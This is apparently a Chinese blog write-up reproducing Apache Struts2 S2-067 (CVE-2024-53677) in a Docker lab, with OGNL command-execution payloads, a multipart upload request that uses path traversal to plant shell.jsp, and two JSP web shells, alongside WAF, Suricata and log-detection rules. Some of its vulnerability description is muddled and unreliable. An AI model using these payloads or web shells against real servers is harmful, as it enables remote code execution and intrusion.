S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞

struts2/s2-067

一、漏洞概述

漏洞编号 :CVE-2024-53677
官方编号 :S2-067
影响组件 :Apache Struts 2
漏洞类型 :OGNL 表达式注入 → 远程代码执行(RCE)
漏洞根因 :错误的输入处理 + 参数强制解析为 OGNL 表达式
影响版本:Struts 2.0.x ~ 2.5.x 某些版本(具体以官方公告为准)

该漏洞属于 Struts2 系列经典问题的延续 ------ 用户输入在 OGNL 表达式上下文中被解释执行

二、漏洞原理分析

1️⃣ Struts2 请求处理机制

Struts2 使用:

  • ParametersInterceptor

  • ValueStack

  • OGNL

请求参数会被自动压入 ValueStack,并通过 OGNL 解析。

如果开发者没有正确限制表达式求值环境,攻击者可以构造如下参数:

js 复制代码
    GET /index.action?name=%{(#a=@java.lang.Runtime@getRuntime().exec('id'))}

当框架错误解析 %{} 时,OGNL 会执行内部表达式。

2️⃣ 漏洞触发流程图

流程说明:

js 复制代码
    HTTP Request
       ↓
    ParametersInterceptor
       ↓
    ValueStack.setValue()
       ↓
    OGNL 解析表达式
       ↓
    Runtime.exec()
       ↓
    RCE

三、攻击链路构建(Kill Chain)

1️⃣ Recon(侦察)

  • 识别 Struts2 版本

  • 探测 .action 端点

  • 利用报错信息判断 OGNL 可执行性

2️⃣ Weaponization(武器化)

构造恶意 OGNL:

js 复制代码
    %{(#_memberAccess['allowStaticMethodAccess']=true)
     (#cmd='whoami')
     (#p=new java.lang.ProcessBuilder(#cmd.split(' ')))
     (#p.start())}

3️⃣ Delivery

通过 GET / POST 参数提交

4️⃣ Exploitation

触发 OGNL 表达式执行

5️⃣ Post-Exploitation

  • 写 Webshell

  • 横向移动

  • 数据窃取

四、威胁建模(STRIDE)

类别 体现
Spoofing 伪造用户身份
Tampering 修改服务器状态
Repudiation 隐蔽命令执行
Information Disclosure 读取敏感文件
Denial of Service fork bomb
Elevation of Privilege 执行系统命令

五、MITRE ATT&CK 映射

战术 技术
Initial Access T1190 Exploit Public-Facing Application
Execution T1059.003 Java
Persistence T1505.003 Web Shell
Defense Evasion T1562 Impair Defenses
Discovery T1083 File and Directory Discovery
Lateral Movement T1021 Remote Services
Impact T1499 Resource Hijacking

六、修复建议(基于 Apache 官方建议)

✅ 1. 升级

升级到官方修复版本(Apache Struts 官方公告给出修复版本)。

✅ 2. 禁止静态方法访问

struts.xml 中:

js 复制代码
    <constant name="struts.ognl.allowStaticMethodAccess" value="false"/>

✅ 3. 开启严格方法调用

js 复制代码
    <constant name="struts.enable.DynamicMethodInvocation" value="false"/>

七、安全编码修复示例(伪代码)

❌ 漏洞代码

js 复制代码
    public String execute() {
        String name = request.getParameter("name");
        valueStack.setValue("username", name); // 直接解析
    }

✅ 修复代码

js 复制代码
    public String execute() {
        String name = request.getParameter("name");

        if (containsOGNLExpression(name)) {
            throw new SecurityException("Invalid input");
        }

        valueStack.setValue("username", escapeHtml(name));
    }

输入检测函数

js 复制代码
    boolean containsOGNLExpression(String input) {
        return input.contains("%{") ||
               input.contains("#") ||
               input.contains("@java.lang.Runtime");
    }

八、检测与防护规则

1️⃣ WAF 规则示例

正则检测

js 复制代码
    %{.*@java.lang.Runtime
js 复制代码
    #_memberAccess
js 复制代码
    ProcessBuilder

2️⃣ Suricata 示例

js 复制代码
    alert http any any -> any any (
    msg:"Struts2 S2-067 OGNL RCE Attempt";
    content:"%{"; http_uri;
    content:"java.lang.Runtime"; distance:0;
    sid:200067; rev:1;
    )

3️⃣ 日志检测(SIEM 规则思路)

js 复制代码
    WHERE request_uri LIKE "%@java.lang.Runtime%"
    OR request_uri LIKE "%ProcessBuilder%"

九、应急响应流程

1️⃣ 确认入侵

js 复制代码
    grep -R "java.lang.Runtime" /var/log/tomcat/
js 复制代码
    grep -R "%{" /var/log/nginx/

2️⃣ 查看可疑进程

js 复制代码
    ps aux | grep java

3️⃣ 网络连接检查

js 复制代码
    netstat -antp | grep ESTABLISHED

4️⃣ 查找 Webshell

js 复制代码
    find /var/www -type f -name "*.jsp" -mtime -3

5️⃣ 主机隔离

js 复制代码
    iptables -A INPUT -j DROP

十、攻击链全景图(简化示意)

js 复制代码
    Internet
       ↓
    Struts2 应用
       ↓
    OGNL 注入
       ↓
    Runtime.exec()
       ↓
    写 WebShell
       ↓
    横向移动
       ↓
    数据窃取

十一、实战风险总结

S2-067 与历史经典漏洞高度相似,例如:

  • Apache Struts

  • CVE-2017-5638(Equifax 事件核心漏洞)

这类漏洞一旦暴露公网,通常会被自动化扫描器 24 小时内攻击。

十二、防御分层建议

层级 建议
应用层 升级 + 关闭动态方法
框架层 禁止 OGNL 静态方法
网络层 WAF 规则拦截
主机层 EDR 监控 Runtime.exec
运维层 不暴露调试模式

准备工作

Docker的常用命令

bash 复制代码
docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞复现

在s2-066未修复版本中,如果直接上传shell.jsp,虽然即使shell.jsp上传成功,但是后续命令无法拼接执行。所以后面也要吸取这次教训,抓紧验证命令执行,这才是真正的执行成功。

js 复制代码
POST /index.action HTTP/1.1
Host: 192.168.0.41:8080
Content-Length: 346
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.41:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTAs4eMvdc3dwYhM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.41:8080/index.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=60A6C7264A026F76DBD2BF28D6492505
Connection: close

------WebKitFormBoundarykTAs4eMvdc3dwYhM
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream

%
  out.println("hello world");
%>
------WebKitFormBoundarykTAs4eMvdc3dwYhM
Content-Disposition: form-data; name="top.fileFileName"

../shell.jsp
------WebKitFormBoundarykTAs4eMvdc3dwYhM--

在s2-066中的File字段值已经无法再s2-067执行,所以推测官方更新了过滤输入大小写敏感的补丁。与s2-066相比,s2-067还需更改为top.fileFilename。

攻击链路为:写入shell.jsp木马-->抓包修改name字段-->输入url查看执行效果。

此外,由于本人的好奇心理,同时对以下俩个jsp进行了上传,但奇怪的是服务器直接拦截了这俩个jsp木马,因而后续命令也无法执行。

js 复制代码
<%
  Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  InputStream inputStream = process.getInputStream();
  BufferedReader bufferedReader =  new BufferedReader(new InputStreamReader(inputStream));
  String line;
  while ((line = bufferedReader.readLine())!=null){
     response.getWriter().print(line);
    }
%>


<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

所以我推测了一下输出hello world的作用,其实原理和xss漏洞类似。虽然该命令执行没有获取敏感信息的操作,但是如果攻击者恶意执行相关命令,可能会诱导用户泄露Cookie,Session等字段,从而达到远控的目的。

此外,我还尝试复现spring/CVE-2022-22978。但是由于种种原因无法启动环境,后续有空到vulfocus复现。

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

相关推荐
木易 士心13 小时前
深入理解 MySQL 权限撤销(REVOKE)机制:从语法到安全实践
数据库·后端·mysql·安全
码农小白AI14 小时前
AI审核加持的IACheck:塔吊与施工电梯安全监测系统检测报告如何实现高效合规与风险可控
大数据·人工智能·安全
workflower15 小时前
智能体安全呈现三大核心趋势
人工智能·安全·机器人·智能家居·ai编程
今夕资源网16 小时前
windows11一键禁用安全中心脚本 一键恢复安全中心脚本Windows Defender
windows·安全·windows11·安全中心·杀毒软件·自带杀软·一键禁用
~央千澈~16 小时前
解防跨站功能生成的.user.ini文件溯源跨站脚本攻击(XSS)-优雅草卓伊凡
安全·防跨站
瘾大侠16 小时前
HTB - Kobold
网络·安全·web安全·网络安全
无忧智库16 小时前
破局与重构:高校数字化安全管理平台的全景式深度解构(PPT)
安全
crazyme_616 小时前
从软件工程视角拆解 OWASP ZAP:开源安全工具的架构设计与结对分析实践
安全·开源·软件工程
李白你好16 小时前
一个综合性的Web安全学习平台
学习·安全·web安全
中科固源17 小时前
强制性国标在路上:预解读《民用无人驾驶航空器数据链路网络安全要求》(二)
安全·网络安全·低空经济·商业航天